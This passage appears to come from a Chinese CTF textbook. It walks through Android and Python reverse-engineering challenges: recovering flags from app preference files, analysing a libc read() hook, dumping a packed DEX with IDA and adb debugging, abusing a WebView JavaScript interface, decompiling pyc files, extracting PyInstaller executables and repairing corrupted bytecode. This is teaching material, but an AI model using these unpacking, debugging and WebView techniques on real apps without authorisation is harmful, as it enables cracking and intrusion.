 ▫ 将XML文件复制到计算机中，使用编辑工具查看其内容，命令为“adb pull/data/data/com.example.plane/shared_prefs/XML文件名 d:/”。运行此命令两次，即可获取前面提到的两个XML文件。此时，Android手机中的这两个XML文件就被复制到本地了。
 
 ▫ 利用adb得到一个Android的Shell，然后通过Linux命令查看手机中的文件。具体过程为：运行adb的Shell，得到一个Android的Shell，然后通过Linux的cd命令切换到 /data/data/com.example.plane/shared_prefs目录，最后利用文本输出命令cat将此目录中的XML文件打印到屏幕上。
 
 • 利用DDMS获取。“DDMS”的全称是“Dalvik Debug Monitor Service”，它是Android开发环境中的Dalvik虚拟机调试监控服务。DDMS能够提供的服务包括测试设备截屏，以及针对特定进程查看正在运行的线程、堆信息、logcat、广播状态信息、模拟电话呼叫、接收SMS、虚拟地理坐标等。此外，DDMS可用于获取手机中的文件。首先在DDMS中找到前面提到的XML路径，然后单击如图2-45所示的图标，将文件复制到本地。
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  图2-45
 
 
 
 了解了如何获取题目中的两个XML文件，接下来看看这两个文件的内容。
 
 flag.xml的内容如下。
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 DATA节点的内容是程序通过onCreate()函数写入的，在程序运行期间没有发生变化。该节点的内容类似于经过Base64编码的形式。对“YmF6aW5nYWFhYQ==”进行Base64解码，得到的文本为“bazingaaaa”——一看就不是flag。
 
 Cocos2dxPrefsFile.xml的内容如下。
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 对DATA节点的内容进行Base64解码，得到“0ctf{C0coS2d_AnDro1d_G?YoWs?”，这个结果接近flag的形式。查看DATA节点的前4个字符，可以发现，“MGN0”是在主Activity里固定输入的，每次启动程序时都会输入，是“0ctf”的Base64编码。
 
 经过多次测试，还是发现了一些细节。游戏运行后，使其在没有得分的情况下暂停，初始化后，CocosdxPrefsfile.xml的内容均为字符串“MGN0ZntDMGNvUzJkX0FuRHJv”，解码后为“0ctf{C0coS2d_AnDro”。继续游戏，随便得几分，然后结束游戏。
 
 通过CocosdxPrefsfile.xml的内容“MGN0ZntDMGNvUzJkX0FuRHJv...dz99”发现，除了起始字符串是固定字的，结尾字符串也是固定的，即“dz99”，猜测这是在游戏结束时写入的固定字符串。在此文件的HighestScore字段中记录了游戏最高分的数值，要拿到这个分数才能获得flag。可是，我们总不能靠玩游戏来获取flag。
 
 明白了程序的意图，再看一下程序的流程。flag存储在Cocos2dxPrefsFile.xml文件中，这是毫无疑问的，因此，可以在Java层了解一下有谁对这个文件进行了操作。
 
 使用AndroidKiller的工程搜索功能搜索关键字“Cocos2dxPrefsFile”，得到两个结果，分别是“FirstTest.smali”和“Cocos2dxHelper.smali”。第一个文件是Activity所在的文件（前面已经分析过），下面分析一下Cocos2dxHelper.smali的Java代码。
 
 在程序中，尽管操作Cocos2dxPrefsFile.xml的地方有不少，但其中有一半是读取操作，对解题没有帮助。在此，我们只需关注写入操作。其中，用于进行写入操作的函数，如图2-46所示。
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  图2-46
 
 
 
 注意图2-46中用方框标出的部分，只有setStringForKey()函数可以向文件中写字符串，其他写入操作都是写入数值和布尔值，也就是说，这个函数就是我们要寻找的关键函数。在Java层继续搜索这个函数，没有得到结果，因此，我们只能去查看so文件。将APK解压，在lib文件夹的armeabi目录中找到libcocos2dcpp.so文件。将该文件放入IDA，在“Function Name”中搜索关键字“setStringForKey”，确定其位置，如图2-47所示。
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  图2-47
 
 
 
 图2-47中的阴影部分就是setStringForKey()函数的首地址。单击该地址，然后按“X”键，就能列出所有调用此函数的位置，如图2-48所示。
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  图2-48
 
 
 
 在图2-48中，前10个调用位置都在一个名为“updateScore”的函数中。我们分析一下这个函数。在引用窗口的updateScore()函数上双击，来到该函数的汇编代码处，然后，按“F5”键对代码进行反汇编。程序的主要内容就是判断分数并调用setStringForKey()函数向文件写内容，如图2-49所示。
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  图2-49
 
 
 
 限于篇幅，无法将所有分数的判断都列出来。在此说明一下：case（分数）的最大值为1000000000。到这里，我们就将解题思路分析出来了，剩下的就是拼出flag了。通过多次尝试，将updateScore()函数中的所有分数从小到大排列，将对应的字符串组合在一起，得到的结果为“MWRfRzBtRV9Zb1VfS24w”。然后，将头部和尾部组合在一起，得到的结果为“MGN0ZntDMGNvUzJkX0FuRHJv MWRfRzBtRV9Zb1VfS24w dz99”。对其进行解码，得到的结果（flag）为“0ctf{C0coS2d_AnDro1d_G0mE_YoU_Kn0w?}”。
 
 题目3　libc函数的劫持
 
 题目概况
 
 本题给出了一个APK，需要选手使用常见的异或算法生成flag，对libc的read函数进行Hook（来自0CTF）。
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 解题思路
 
 拿到APK之后，当然要运行一下，看看效果。程序界面上有一个输入框和一个按钮，不改变输入框中的内容，按下“CHECK”按钮，会显示“0ops!That's wrong!”，如图2-50所示。
 
 将APK放入Android Killer或其他反编译工具，分析一下Java层的代码。可以看到，程序在Java层主要做了两件事。
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  图2-50
 
 
 
 程序在Java层做的第一件事是，在onCreate()中调用init()时，先从资源中读取一个文件，再将这个文件的内容写入flag.txt，代码如下。
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 从第1行代码中可以看出，程序首先读取一个原始资源文件，这个资源文件一定要放在res/raw目录下且不会被平台编译，也就是说，res/raw目录下的文件将被打包放到APK中（接下来，我们会在本题的APK中寻找此资源文件）。读取此资源文件的内容，然后将其写入flag.txt。
 
 不着急查看flag.txt的内容。打开res/raw目录，看一下其中有哪些资源。过程很简单，使用解压工具将simple.apk打开，然后访问res/raw目录，发现里面只有一个flag.txt文件，如图2-51所示。
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  图2-51
 
 
 
 此文件中只有一句话，即“0ctf {Too_Simple_Sometimes_Naive!!!}”。尝试提交，发现结果是错误的。于是，查看由程序创建并写入内容的flag.txt。如何获取Android中的文件，已经在前面介绍过了，这里直接给出结果。如图2-52所示，此文件的内容和资源文件的内容完全一致。
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  图2-52
 
 
 
 程序在Java层做的第二件事是执行界面中的单击按钮事件函数，代码如下。
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 在单击按钮事件函数的处理过程中，先读取通过init()函数写入的flag.txt文件的内容，再与用户输入的内容进行比较，如果相同就显示“That's the flag!”。但是，由于文件的内容已经提交，且不是正确答案，所以我们只能分析Native层的代码。
 
 将APK解压，找到其中的lib\armeabi\libantidebug.so文件，然后将其放入IDA。浏览函数，定位到my_init()函数处，代码如下。
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 函数名包含“hook”，猜测应该是这个so文件对libc库中的read()函数进行了Hook，导致Java层读取的数据并不是文件的真正内容。不过，这只是猜测，还需要继续分析。根据函数名，CheckSig、CheckStrace、CheckPtrace都似乎“不怀好意”。CheckSig()函数应该是对签名进行判断，CheckStrace()函数最终调用了CheckPtrace()函数——我们重点讨论一下CheckPtrace()函数里发生了什么。
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 大致浏览一下就可以知道，在这里需要注意两个函数，一个是j_j_hook_precall()，另一个是j_j_hook_postcall()。接触过Hook技术的读者应该知道，要想对某个函数进行Hook，就要在调用该函数之前接管该函数的控制权，将执行过程转到自己的流程中，然后在调用结束后将控制权归还。由于这两个Hook函数的名字中有表示前后的单词，所以基本可以确定CheckPtrace()函数的任务就是Hook。
 
 在以上代码中有一个异或操作，猜测其目的是对读取的内容进行异或。这个异或操作并不复杂，就是从unk_4818处取0x23个长度的内容，然后与猜测读取的内容进行异或。
 
 既然知道了要读取的内容，就可以编写其逆操作代码，验证我们的想法是否正确了。将unk_4818向后0x23个长度的内容提取出来，然后用Python编写如下异或代码。
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 得到结果“0ctf{It's_More_Than_Meets_The_Eye!}”，很像flag的形式。提交结果进行验证，正是我们需要的答案。
 
 相关知识点
 
 在“解体思路”部分介绍的在反编译后分析代码流程的方法，肯定是最直接的方法，也是出题人想要考察的。然而，我们只是在解题，我们需要的只是最终答案，所以偶尔也可以尝试“偷懒”的方法。
 
 在手机或虚拟机上运行题目给出的APK，启动DDMS，找到此APK的进程，对此进程使用的内存进行Dump操作，如图2-53所示。
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  图2-53
 
 
 
 单击图2-53中用方框标出的按钮，设置文件的存储位置，将后缀为“.hprof”的文件保存下来。然后，用文本搜索软件到此文件中搜索关键字“0ctf”，即可得到本题的flag。具体过程就不再展示了。
 
 以上操作的原理是，人们在安装软件后会习惯性地单击按钮，而此时Hook函数就会执行，答案就在内存中生成了。为什么要搜索“0ctf”呢？因为很多比赛的flag，其内容都与比赛的名称有一定关系，所以，有时可以通过搜索得到答案。不过，我们不能依靠这种方法解题（这种方法的命中率不高，一般只用于在拿到题目后简单尝试一下）。
 
 题目4　DEX脱壳与WebView漏洞
 
 题目概况
 
 本题的标题为“EvilApk300”（来自ALICTF），涉及脱壳，需要选手利用WebView漏洞显示flag。
 
 在题目给出的jscrack程序的主界面上有两个控件，分别是URL输入框和“进入”按钮。选手需要构造一个网页，输入网页的URL，然后单击“进入”按钮，打开浏览器，浏览网页。如果jscrack程序弹出一个吐司提示（Toast），就证明程序已被破解，提示内容就是本题的flag。
 
 解题思路
 
 拿到APK（即本题的jscrack程序）后，在模拟器中运行一下，如图2-54所示。正如题目描述中介绍的，在URL输入框中输入网址，程序会启动浏览器以显示网页。将APK放入AndroidKiller，查看基本信息，发现其中只有一个StubApplication.smali文件。一开始以为是软件出错了，但是，将后缀“.apk”改为“.zip”并打开，看到calsses.dex文件只有892字节，猜测APK应该做过DEX加固，代码都被隐藏了。同时，assets文件夹下有cls.jar和fak.jar两个jar包。这就是CTF比赛中常见的原始DEX加密保存方式，解密代码都存储在Native层。所以，在解答本题时，应首先考虑在程序运行后通过Dump操作获取内存中的明文DEX文件。
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  图2-54
 
 
 
 很多Android脱壳教程都曾讲到，应在libdvm.so文件的dvmDexFileOpenPartial处设置断点，其原因是DEX文件经dexopt优化成ODEX时需调用dvmDexFileOpenPartial()函数。通过dexopt优化，可以把文件预先提取出来（其作用是提高软件加载速度和开机速度），本题也不例外。
 
 dvmDexFileOpenPartial()函数的原型如下。
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 在解题时需要使用前两个参数。因为有了起始地址和长度，所以能通过Dump操作获取此段内容。下面开始进行操作。
 
 首先，需要获取dvmDexFileOpenPartial在libdvm.so文件中的偏移。libdvm.so文件是Android执行应用程序的Dalvik虚拟机，Android应用程序通过它来解释执行。由于不同的平台会有些许差异，所以，需要找到对应平台的libdvm.so文件中dvmDexFileOpenPartial()函数的偏移地址。执行“adb pull /system/lib/libdvm.so”命令，将模拟器中的libdvm.so文件放入本机，然后使用IDA将其加载，在函数窗口搜索“dvmDexFileOpenPartial”。单击函数名称，即可在IDA文本视图窗口查看函数的详情，如图2-55所示。
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  图2-55
 
 
 
 记录dvmDexFileOpenPartial在libdvm.so文件中的偏移。在笔者的Android模拟器中，地址是0x0004F378。
 
 接下来，获取libdvm.so文件在系统中的偏移。使用IDA的动态调试功能将计算机中的android_server推送到模拟器中（此文件在IDA安装目录的dbgsrv文件夹下），执行“adb push android_server /data/local/tmp”命令，将文件放入手机。执行“adb shell”命令，得到手机的Shell。执行“cd /data/local/tmp”命令，切换到文件所在目录。如果使用的是真机，那么此时的连接将拥有Shell权限，所以，需要切换到root权限。因为笔者是在模拟器中进行操作的，所以当前权限为root（切换root权限的命令为su）。执行“chmod 755 ./android_server”命令，给android_server添加可执行权限，然后执行“./android_server”命令，此时android_server处于监听状态，如图2-56所示。
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  图2-56
 
 
 
 下一步，进行端口转发。在cmd窗口输入命令“adb forward tcp:23946 tcp:23946”，用调试模式发送启动命令“intent adb shell am start -D -n 包名/类名 本题”，找到主Activity，即MainActivity。然后，执行命令“adb shell am start -D -n com.ali.tg.testapp/com.ali.tg.testapp.MainActivity”，程序将会启动，弹出等待调试的对话框，如图2-57所示。
 
 打开IDA，选择“Deugger”→“Attach”→“Remote ARMLinux/Android Debugger”选项，将在弹出的对话框中显示模拟器中的所有进程。选择本题的程序，如图2-58所示。
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  图2-57
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  图2-58
 
 
 
 将进程ID“1620”记录下来，后面会用到。单击“OK”按钮，按“Ctrl+S”快捷键，找到libdvm模块，如图2-59所示。记录libdvm模块的起始地址，这里是0x407B5000。将该地址与我们之前记录的dvmDexFileOpenPartial()函数的偏移地址相加，得到0x40804378。按“G”键，将此地址输入并跳转到此地址处，到达dvmDexFileOpenPartial()函数的位置，如图2-60所示。
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  图2-59
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  图2-60
 
 
 
 在函数开始的位置设置一个断点，不要进行其他操作。在cmd窗口执行“adb forward tcp:8000 jdwp:1620”命令，然后，执行“jdb -connect com.sun.jdi.SocketAttach:host name=127.0.0.1, port=8700”命令。接下来，在IDA中按“F9”键运行程序，设置的断点就会被触发，如图2-61所示。
 
  
  [image: ] 
  图2-61
 
 
 
 根据函数原型，查看R0、R1寄存器，其中存放的就是函数的前两个参数。查看内存，可以看到熟悉的字眼，如图2-62所示。
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  图2-62
 
 
 
 编写IDC脚本并进行Dump操作，获取DEX文件。如果文件没有被处理过，就可以直接对其进行反编译。按“Shift+F2”快捷键（即“script command”），编写一个IDC脚本来获取DEX文件，如图2-63所示。
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  图2-63
 
 
 
 此时，在F盘的根目录下就有DEX文件了。由于该DEX文件是从内存中获取的，并不是APK中的DEX文件，而是经过优化的ODEX文件，所以，需要利用dexdecompile工具获取Java源代码，具体命令为“dexdecompile.exe f:\dump.dex f:\dump”。这样，在F盘的dump文件夹中就有经过反编译的Java源代码了。
 
 下面讲解本题的另一个考察点。因为题目程序需要输入网址，然后利用WebView控件显示页面，所以，在解题时还需要考虑WebView漏洞（漏洞细节就不在这里介绍了）。由于题目程序会弹出Toast，所以，选手不仅要知道用于弹出Toast的函数是哪个，还要知道对应的JavaScript接口。从反编译代码中可以找到调用Toast的函数，其内容如下。
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 因为flag为Toast的内容，所以，将Toast中的文本转换一下，就能得到结果。不过，这样做就浪费了WebView漏洞的考察点，所以我们继续分析。已经得到了调用Toast的函数，下一步就是找到JavaScript的接口。尽管在源代码中搜索“addJavascriptInterface”可以找到接口名称，但是其已经被加密为“BQ1$*[w6G_”。此时，可以到so文件中寻找加密算法，实时设置断点，从而得到明文。这一步有一个简单的实现方法，就是在本地搭建一个Web服务器，然后将下面的内容输入一个新建的网页。
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 使用本题程序访问这个网页，暴露出来的接口的名称为“SmokeyBear”。再构造一个网页，使用此接口调用showToast()函数。构造的网页，内容如下。
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 这时就会弹出Toast，如图2-64所示。
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  图2-64
 
 
 
 
 2.4　Python可执行程序
 
 本节讲讲与Python相关的逆向分析题目。这类题目的难点是Python字节码分析，内容涉及像PyInstaller这样的Python脚本打包工具。
 
 题目1　Python字节码反编译与加密算法的暴力破解
 
 题目概况
 
 题目给出了一个crackme.pyc文件。选手需要对其进行逆向分析，得到flag。
 
 解题思路
 
 首先介绍一下什么是pyc文件。Python在执行时会将py文件中的源代码编译成Python的字节码（ByteCode），然后由Python Virtual Machine执行编译好的字节码。这种机制的基本思想与Java、.NET一致，保存这些字节码的载体就是pyc文件。
 
 再介绍一个常识。如果在Windows中安装Python后没有手动更改设置，那么计算机中的py文件和pyc文件都会被关联到python.exe，双击这两种文件时会自动调用python.exe。在Linux中，为py文件添加可执行权限后即可通过双击来运行，而pyc文件在Linux中也可以利用命令“python *.pyc”来执行。
 
 笔者使用的是Windows操作系统，双击运行此pyc文件即可，如图2-65所示。
 
  
  [image: ] 
  图2-65
 
 
 
 程序等待输入flag。输入任意内容，按“回车”键，程序就会退出。要想获得flag，就要了解程序的逻辑，即要对此pyc文件进行反编译。
 
 使用EasyPythonDecompiler对pyc文件进行反编译（对于Python程序的反编译，还有其他方法，将在本题“相关知识点”部分介绍）。此工具的使用方法非常简单，支持选择文件和拖拽文件。将题目文件放入EasyPythonDecompiler，就会在pyc文件的目录下生成反编译的文件，文件名是原始文件的文件名加上“_dis”。使用文本编辑器查看反编译文件，具体如下。
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 以上就是被编译为本题pyc文件的原始文件。题目给出了一个加密算法，以及原始加密字符串和加密后的字符串，题目的flag就是此加密算法的Key。在正常情况下，对程序进行逆向，获得加密算法，进而得到加密算法的逆算法，然后根据题目给出的字符串即可解密。因此，我们需要重点讨论题目中的encrypt加密函数。输入一个字符串（ASCII值必须小于128），然后取出每个字符并求其ASCII值。用ASCII值加上seed的值，使其与KEY1中字符的ASCII值进行异或（“^”“+”比“^”的优先级高），然后对255求余。
 
 根据题目中的算法，可以推导出如下逆算法。
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 运行程序，得到flag“WCTF{ILOVEPYTHONSOMUCH}”。
 
 编写解密算法没有捷径，只能靠对加密算法的分析和理解，然后慢慢地尝试推导。对很多人来说，这个过程有一定的难度且耗时很长。然而，对解出此题目而言是有简单方式的，那就是爆破。
 
 通过题目可知，加密函数会对输入的flag的每一位进行操作，而且此flag被加密后会与KEY2进行比较（从而获得flag的长度）。我们输入的flag肯定是ASCII中的可显示字符，也就是说，肯定在ASCII码序号的前127个之中，所以，可以利用计算机的快速计算能力进行爆破。这种方法的代码如下。
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 运行程序，能得到和第一种方法相同的flag“WCTF{ILOVEPYTHONSOMUCH}”。
 
 相关知识点
 
 下面介绍几种Python字节码文件的反编译方法。
 
 （1）uncompyle2
 
 uncompyle2是一种使用Python 2.7编写的工具，能够将Python字节码反编译为源代码。uncompyle2支持Python 2.5～2.7版本的字节码反编译，但只能运行在Python 2.7中（下载地址见链接2-1）。
 
 下载uncompyle2，执行“python setup.py install”命令进行安装。如果要在Linux操作系统中安装，需要在该命令前加上“sudo”。Linux操作系统会在 /usr/local/bin目录下生成uncompyle2（可以直接使用）。在Windows操作系统中，会在Python安装目录的Scripts目录下生成无后缀文件uncompyle2。例如，Python环境安装在C盘中，在使用时需要进行如下操作。
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 uncompyle2支持两种使用方法。
 
 一种使用方法是直接调用uncompyle2，具体步骤为：反编译foo.pyc，将“uncompyle2 foo.pyc”输出到屏幕上。如果要将反编译后的内容输出为文件，就需要添加参数 -o，然后指定输出目录，命令为“uncompyle2 -o c:\ foo.pyc”。这样，就会在C盘下生成反编译后的foo.pyc_dis文件。
 
 另一种使用方法是将uncompyle2当成Python的库来调用。下面是简单的调用代码。
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 关于uncompyle2的更多使用方法，请查阅其官方网站的帮助文档。
 
 （2）Decompyle++
 
 Decompyle++是使用C++编写的Python反编译工具，它包含pycdas和pycdc两个工具，反编译速度非常快，支持Python的所有版本。pycdas是一个字节码转换工具，类似于OllyDbg。pycdc是一个用于将代码反汇编为源代码的程序，类似于IDA（下载地址见链接2-2）。不过，Decompyle++工程没有提供编译好的可执行程序，需要使用者手动生成。
 
 Decompyle++工程提供了CMakeLists.txt文件，因此需要使用CMake工具。在Windows操作系统中使用CMake会生成一个MSVC工程，打开生成的工程并进行编译，就可以得到可执行文件。pycdc和pycdas是两个不同的工具，需要分别生成。笔者使用的操作系统是Windows 7，使用Visual Studio 2012生成工程。
 
 在Linux中生成Decompyle++工程的方法比在Windows中简单。首先，执行“sudo apt get install cmake make”命令，安装CMake和Make工具。然后，下载Decompyle++的源代码，进入源代码目录，运行“cmake .”命令，CMake会根据CMakeLists.txt生成Makefile文件。执行make命令，就会在此目录中生成pycdc和pycdas。现在，我们就可以在命令行环境中使用这两个工具了。如果在这两个工具中输入需要反编译的pyc文件，默认会将转换后的内容打印到屏幕上。在后面输入重定向符，就能使输出内容定位到文件中，例如“pycdc fun.pyc > fun.py”。
 
 （3）EasyPythonDecompiler
 
 EasyPythonDecompiler是Windows中的图形化工具，下载后就能直接使用，不仅支持选择文件和文件夹，还支持拖拽功能。其实，该工具调用了uncompyle2接口进行封装，所以最终反编译的文件名会以“_dis”结尾。
 
 题目2　Python打包二进制文件的逆向
 
 题目概况
 
 题目标题为“reverse400”（来自NSCTF），给出的文件是通过PyInstaller打包的EXE文件。因此，需要选手解包并提取Python源文件，然后进行分析。
 
 解题思路
 
 拿到题目文件后，发现EXE文件的图标非常眼熟。因为笔者接触过PyInstaller，所以知道这是用PyInstaller将Python源代码转换为EXE程序后的默认图标，如图2-66所示。即使没有接触过，也可以通过图标中Python的主色调（黄色和蓝色）联想到。尽管以上是闲谈，与解题关系不大，但仍然希望读者简单了解这种将Python源代码转换为EXE程序的技术，否则解答本题是有一点困难的。
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  图2-66
 
 
 
 将Python源代码转换为EXE程序的具体原理，将在本题的“相关知识点”部分介绍。不论采用哪种方法将Python源代码转换为EXE程序，其过程都是将Python解释器、Python程序代码、Python依赖库、本地lib库打包成一个体积相对较大的可执行程序。
 
 由此看来，连Python解释器和Python程序代码都被打包了，也就是说，如果要执行EXE的功能，最终还是要调用Python环境来执行Python代码，而执行EXE就相当于在执行EXE的系统环境中安装了一个一次性的Python执行环境，然后执行包含在此EXE中的真正的Python代码。
 
 市面上有多种工具可以将被打包到此EXE中的原始文件提取出来，其中最好用的是PyInstaller Extractor（下载地址见链接2-3）。下载后，直接执行“python pyinstxtractor.py Revesre400.exe”命令，就可以得到源文件，中间过程如下。
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 解压的文件都存储在Reverse400.exe_extracted目录下，但没有找到“Reverse400”这样的文件名。不过，找到了一个名为“Reversre03”的文件（这是因为我们拿到的EXE在生成之后名字被修改过，而解压的文件使用的是生成EXE时的名称）。在这里要提醒读者的是，不要在意这些细节，它们与解题没有太大的关系。
 
 用文本编辑器打开Reversre03文件，就能得到这道题的源代码了，具体如下。
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 这是一段Python代码，中间有一段使用Python注释符注释的C语言代码。Buf[]的内容看起来很像flag，但不是真正的flag。
 
 将C语言代码提取出来，编译并运行。先做一点修改，将输出的格式改为十六进制，并添加头文件，具体如下。
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 输出的内容如下。编译出来的buf[]和前面data的内容很像，尤其首尾是完全一样的。
 
 既然encode(buf)≈data，那么可以猜想decode(data)≈buf。对data进行逆向解码，就得到了真正的flag。
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 解码思路很简单。因为encode的主要过程就是将每一位的内容与其下一位进行异或，所以对decode的代码也进行这样的操作即可。Python代码如下。
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 相关知识点
 
 Python作为一种脚本语言，需要被解释器解释执行。Python程序的发布方式如下。
 
 • py文件：对于开源项目或源代码不是很重要的程序，直接提供源代码。需要使用者自行安装Python环境和依赖库。
 
 • pyc文件：有些公司或个人因为保密或某些原因，不希望源代码被运行者看到，就会使用pyc文件来发布程序。pyc文件的内容通常是Python解释器可以识别的二进制码，故发布后也是跨平台的，需要使用者安装相应版本的Python环境和依赖库。
 
 • 可执行文件：对于非程序员或“小白”用户来说，在安装Python环境的同时，可能要经受安装依赖库这项工作的“折磨”——简直就是“灾难”。对这些用户来说，最简单的方式就是提供一个可执行文件，将其用法告知用户。这种方法的不便之处在于，需要针对不同的系统平台打包生成不同的可执行文件。
 
 将Python源代码转换为可执行文件的方式，以及各系统平台支持的文件格式等，如图2-67所示。
 
 前面提到过，在将Python源代码转换为可执行文件时，会同时打包很多东西。这样做的具体原理是什么呢？下面以PyInstaller为例具体说明原理（本书不介绍该工具的具体使用方法，如有兴趣，请参考相关文档）。
 
  
  [image: ] 
  图2-67
 
 
 
 PyInstaller提供了两种打包方式，一种是打包成一个文件夹，另一种是打包成一个单独的文件。
 
 （1）打包成一个文件夹
 
 例如，要打包的文件为myscript.py。首先，默认生成一个同名的文件夹myscript，这个文件夹包含脚本myscript.py的所有依赖库和一个可执行文件myscript（在Windows中为myscript.exe）。
 
 一个非常简单的py脚本test.py，代码如下。
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 接下来，利用PyInstaller将其打包成一个文件夹。执行“pyinstaller -D test.py”命令（假设已经安装了PyInstaller），会在当前目录下会生成dist和build文件夹，以及一个test.spec文件。我们需要的东西就在dist文件夹下。在dist文件夹下有一个test文件夹，如果此程序需要提供给其他人使用，就要将此文件夹全部交给使用者。此文件夹的内容，如图2-68所示。
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  图2-68
 
 
 
 现在，运行test.exe和运行打包之前的test.py，效果是一样的。test.exe文件为769KB（后面可能需要使用此值进行对比）。
 
 （2）打包成一个单独的文件
 
 执行“pyinstaller -F test.py”命令，依然会在当前目录下生成dist和build文件夹，以及一个test.spec文件。
 
 看一下build文件夹：只生成了一个test.exe文件，大小为3321KB。为了弄明白为什么此时EXE变得这么大，应运行此EXE文件。根据源代码，在屏幕上输出“Hello World!”后，程序就会中断，等待我们输入内容。此时，不要进行任何操作。打开系统的临时文件夹，会看到一个名为“_MEI XXXXX”（“XXXXX”是一个随机的数字）的文件夹，其内容为“![](../img/python/reverse400/reverse400_4.png)”。可以发现，其内容和打包成文件夹的内容相比，只少了一个test.exe文件，且其他文件的大小完全相同。为什么要在代码中设置断点，等待用户输入呢？因为在执行EXE后，每次都要向临时目录释放EXE中的文件，一旦脚本中的代码全部执行，该临时目录就会被删除，所以，需要先中断程序的运行，再去查看已经被释放但还没有被删除的文件。
 
 下面介绍一下PyInstaller的打包和执行原理。
 
 从打包后的文件夹中可以看出，向PyInstaller输入指定的脚本，分析脚本所依赖的第三方库，然后进行查找和复制，即可把所有相关的脚本收集起来（包括Python解析器和一些系统依赖库）并放在一个目录下，或者打包到一个可执行文件中。
 
 运行转换后的可执行文件和将程序编译成真正的机器码完全是两回事，所以，千万不要指望打包成一个可执行文件会提高运行效率。在执行打包的脚本时，需要先启动一个启动器来调用Python解析器，再利用解析器去执行Python脚本（运行单个文件时，还有一个将打包的内容释放到临时目录中的过程），这可能会降低运行效率，而其好处是可以不用在用户的机器上安装Python环境及脚本所依赖的第三方库。
 
 需要注意的是，由PyInstaller打包的可执行文件，只能在和打包机器系统相同的环境中运行，也就是说，该文件不具备可移植性。如果需要在不同的系统上运行打包文件，就必须针对系统平台进行打包。
 
 此外，在利用PyInstaller打包的可执行文件中不包含任何代码，但包含已经转换为字节码的pyc文件（可以被反编译）。要想隐藏代码，一个很好的选择是利用Cython（用于将Python模块转换成机器语言）对模块进行编译，然后由PyInstaller根据import语句的指示导入经Cython编译的模块和包，从而起到一定的保护作用。
 
 小结
 
 本节介绍了PyInstaller的原理，其中有一点需要注意（这也是PyInstaller官方网站希望使用者注意的问题）：不要利用管理员权限运行由PyInstaller打包的文件，因为这一操作可能会被攻击者利用。特别是在木马和病毒肆意传播的今天，攻击者会利用各种方式攻击我们的计算机——一些攻击者已经开始这样做了。
 
 题目3　深入分析Python字节码
 
 题目概况
 
 题目提供了一个pyc文件，选手需要从中提取flag。
 
 本题的pyc文件被修改了，这给反编译带来了一定的难度。可以根据Python字节码的原理修复此pyc文件并尝试解题。
 
 解题思路
 
 我们知道，pyc文件是可以直接运行的（直接在Python环境中执行）。因此，在拿到这个pyc文件后，肯定要先查看它会输出什么信息。输出内容，如图2-69所示。
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  图2-69
 
 
 
 如此混乱的内容是毫无价值的，所以，需要将此pyc文件还原为源代码状态。本书前面已经介绍了几种还原pyc文件的方法。由于笔者使用的操作系统为Windows，所以应使用Windows下的Python反编译工具EasyPythonDecompiler。此工具支持文件拖放。将文件放入此工具后，提示“Invalid pyc/pyo file!”。即便如此，也生成了返编译失败的文件，部分信息如下。
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 这看起来像是一个损坏的或被处理过的pyc文件，需要我们进行分析。看一下错误信息的内容：在偏移为0的位置上是错误的指令NOP。
 
 简单介绍一下Python的字节码指令集。既然叫作“字节码”，那么它自然是以字节为单位的。每个字节有8位，最多只能表示256个不同的操作码。Python实际上只使用了约100个操作码。操作码小于90的指令没有参数，指令仅包含操作码自身，共1字节；操作码大于等于90的指令在操作码之后有1个参数，参数为2字节，指令共3字节。具体的操作码就不在这里一一列举了，仅介绍一下上文报错时会遇到的几个指令的字节码：NOP指令对应的字节码是0x09；LOAD_CONST指令对应的字节码是0x64；BINARY_ADD指令对应的字节码是0x17。为什么只介绍这几个指令的字节码呢？因为既然遇到了错误且需要人工分析，就要在文件中定位错误的具体位置，然后进行修改。
 
 Python的字节码指令集是基于栈的指令集。这里的“栈”不是指函数调用栈，而是指专门用于求值的栈，可以称为求值栈（Evaluation Stack）或操作数栈（Operand Stack）。在求值过程中，临时变量都放在求值栈上，通过指令集进行的大部分操作都要与栈打交道。例如，3+4会变成如下代码。
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 假设常量池中下标为0和1的项分别是3和4这两个常量。前两条指令分别用于将这两个常量压入求值栈。BINARY_ADD指令用于将求值栈栈顶的两个值弹出，然后相加，并将结果再次压入栈。理解了这一点，Python指令集中各指令的含义大都能“望文生义”了。
 
 尽管本题pyc文件错误信息的生成过程和前面提到的3+4字节码相似，但是，本题的错误信息给出的并不是数字的操作，而是字符串的合并，形如Python代码中的“what is”+“your”+“name!”。当然，刚接触本题时无法得出此结论，只能通过与其他过程进行比对来推测。
 
 新建一个Python文件，将如下代码写入。
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 然后，使用此文件生成一个pyc文件，命令为“python -m xxx.py”。此时需要生成pyc文件的字节码。用于将pyc文件转换为Python字节码的程序是inspect.py。执行“python inspect.py xxx.pyc > xxx.xml”命令，将输出的内容重定向到xxx.xml文件中以便观察。
 
 在xxx.xml文件中找到data变量的位置。如果代码内容较少，就比较容易定位字节码文件中data变量的具体位置。如果代码内容较多，就需要我们对pyc文件格式有一定的了解。本题的“相关知识点”部分会对此进行介绍。
 
 xxx.xml文件中data变量的字节码如下。
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 将以上字节码和本题pyc文件错误信息中的字节码对比一下，很容易找到问题所在。在正常使用LOAD_CONST指令将数据压入栈时，需要使用两个LOAD_CONST字节码将两个字符串压入栈，然后由一个BINARY_ADD指令将这两个字符串合并起来再压入栈。这是压入两个字符串的过程。而本题pyc文件的代码中有多个字符串，因此，需要先使用LOAD_CONST指令压入下一个字符串，再使用BINARY_ADD指令将现在栈顶的两个字符串合并，并依照此逻辑执行下去。本题pyc文件中偏移量为0处的字节码是NOP指令，后续几条指令也和以上分析不一致，导致在反汇编时报错。我们再看一下出问题的字节码。
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 要想修正错误，需要将以上字节码改为如下内容。
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 这样才符合前面的分析。不用考虑这两段代码前面的标号，它们表示字节码在本段代码中的偏移量。如果想使用偏移量在pyc文件中进行定位，还是需要了解pyc文件的格式。在这里使用一种偷懒的方式，因为NOP指令对应的字节码是0x09，LOAD_CONST指令对应的字节码是0x64，在错误的pyc文件中这两个指令是相邻的，所以，使用二进制编辑器搜索“0964”，就能找到错误字节码的具体位置。
 
 使用WinHex打开Reverse500.pyc文件，然后使用软件自带的十六进制搜索功能搜索“0964”，在距离文件头不远处找到了需要的数据“![](../img/python/reverse500/reverse500_2.png)”。这段二进制数据正好和错误信息中的字节码对应，具体如下。
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 问题已经分析得很清楚了，接下来就需要手工修改二进制文件，即将这段二进制数据修改为正确的形式。
 
 将正确的内容写出来，如图2-70所示。
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  图2-70
 
 
 
 修改对应的二进制文件的内容，如图2-71所示。
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  图2-71
 
 
 
